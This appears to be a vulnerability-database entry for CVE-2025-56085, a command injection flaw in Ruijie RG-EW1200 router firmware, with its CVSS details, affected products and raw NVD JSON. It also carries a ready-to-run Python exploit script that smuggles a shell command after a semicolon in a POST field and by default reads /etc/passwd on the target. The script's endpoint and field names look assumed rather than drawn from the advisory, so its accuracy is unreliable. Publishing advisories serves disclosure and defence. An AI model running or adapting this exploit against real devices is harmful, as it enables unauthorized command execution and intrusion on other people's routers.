Security Vulnerability Report
中文
CVE-2025-56085 CVSS 8.8 HIGH

CVE-2025-56085

Published: 2025-12-11 18:16:21
Last Modified: 2025-12-26 15:39:14

Description

OS Command Injection vulnerability in Ruijie RG-EW1200 EW_3.0(1)B11P227_EW1200_11130208RG-EW1200 V1.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_config/config_retain.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-ew1200_firmware:3.0\(1\)b11p227:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew1200:1.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-ew300_pro_firmware:3.0\(1\)b11p219:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew300_pro:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-EW1200 EW_3.0(1)B11P227_EW1200_11130208RG-EW1200 V1.00

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-56085 PoC - Ruijie RG-EW1200 OS Command Injection Target: /usr/local/lua/dev_config/config_retain.lua Module: module_set endpoint """ import requests import argparse import sys def exploit(target_ip, target_port=80, cmd='cat /etc/passwd'): """ Exploit OS Command Injection in Ruijie RG-EW1200 """ url = f"http://{target_ip}:{target_port}/module_set" # Prepare malicious payload with command injection payload = { 'module': 'config_retain', 'action': 'set', # Inject command using pipe separator 'param': f';{cmd}' } try: print(f"[*] Sending exploit to {url}") print(f"[*] Injected command: {cmd}") response = requests.post(url, data=payload, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body:\n{response.text}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-56085 PoC') parser.add_argument('target', help='Target IP address') parser.add_argument('-p', '--port', type=int, default=80, help='Target port') parser.add_argument('-c', '--cmd', default='cat /etc/passwd', help='Command to execute') args = parser.parse_args() exploit(args.target, args.port, args.cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56085", "sourceIdentifier": "[email protected]", "published": "2025-12-11T18:16:20.660", "lastModified": "2025-12-26T15:39:14.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-EW1200 EW_3.0(1)B11P227_EW1200_11130208RG-EW1200 V1.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_config/config_retain.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew1200_firmware:3.0\\(1\\)b11p227:*:*:*:*:*:*:*", "matchCriteriaId": "9A21CEFA-99EF-43C6-8CDB-105C7D7C0C2C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1200:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "33F48A2D-4E54-482E-B313-F9CEFA76392D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew300_pro_firmware:3.0\\(1\\)b11p219:*:*:*:*:*:*:*", "matchCriteriaId": "5A2F0026-B379-46FF-BFC5-56F0C2CB5A58"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew300_pro:-:*:*:*:*:*:*:*", "matchCriteriaId": "76F60F45-CF3C-4E10-AFAC-231318B1182F"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EuESCSUsYvtAtfW1SfmGGxsBw-kN9iCbpnUU9T8TXofH3w?e=kp5OXK", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/ERuoK3MLW2RLpQ6qOoGs5wIB73tNnsDzRT8U6U6z4VmskQ?e=KIjaOa", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56085.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}